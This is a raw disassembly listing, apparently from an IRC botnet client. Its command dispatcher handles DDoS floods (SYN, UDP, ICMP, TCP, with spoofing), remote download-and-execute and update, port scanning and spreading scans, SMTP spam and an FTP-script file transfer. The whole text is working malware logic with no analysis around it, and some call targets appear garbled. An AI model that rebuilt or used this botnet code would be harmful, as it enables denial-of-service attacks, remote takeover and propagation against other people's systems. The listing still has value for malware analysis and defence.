loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_4377C4
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_437798
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h

loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"

loc_4110B1:				; CODE XREF: sub_40EE72+4854j
					; sub_40EE72+4B7Bj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_4110BD:				; CODE XREF: sub_40EE72+5703j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------

loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_437768
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_43773C

loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4849j ...
		mov	esi, [ebp+arg_24]

loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B37j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413402
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413402
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413314
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413314
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E2
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E2
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328C
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328C
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413226
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413226
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BD
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BD
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413183
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413183
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413115
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413115
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413090
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413090
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413024
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413024
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFE
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFE
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F9B
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F9B
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED2
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED2
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E35
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E35
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CB1
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CB1
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1E
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1E
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1D
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1D
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ACB
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ACB
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129CA
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129CA
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DF
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DF
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DC
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DC
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259B
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259B
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249E
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249E
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123AB
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123AB
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D6
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D6
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BE
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43F5E0
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43F6EC
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43F6E8
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43F668
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43F6B8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_4373F0

loc_411888:				; CODE XREF: sub_40EE72+3B53j
					; sub_40EE72+3E3Aj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_413A64
; ---------------------------------------------------------------------------

loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_437398
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411906:				; CODE XREF: sub_40EE72+2A87j
		call	near ptr 25D05AFh
		nop
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_437320
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_4372E4

loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D

loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------

loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8

loc_411A5D:				; CODE XREF: sub_40EE72+587Aj
		add	esp, 24h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_4372AC
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"

loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_437258
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411BE3

loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------

loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset dword_437210
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_4371C8
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43F758, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_437170
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411CF8

loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------

loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_437128
		jmp	loc_4128CE
; ---------------------------------------------------------------------------

loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10

loc_411D1F:				; CODE XREF: sub_40EE72+3A68j
		add	esp, 0Ch

loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_411D2F:				; CODE XREF: sub_40EE72+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414629
; ---------------------------------------------------------------------------

loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------

loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx

loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_4370B8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411E54

loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------

loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_437070
		jmp	loc_4128CE
; ---------------------------------------------------------------------------

loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA4
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_437024
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax

loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx

loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		mov	[ebp+var_328], eax
		mov	eax, 320h
		cmp	[ebp+var_328], eax
		pop	ecx
		jbe	short loc_411F20
		mov	[ebp+var_328], eax

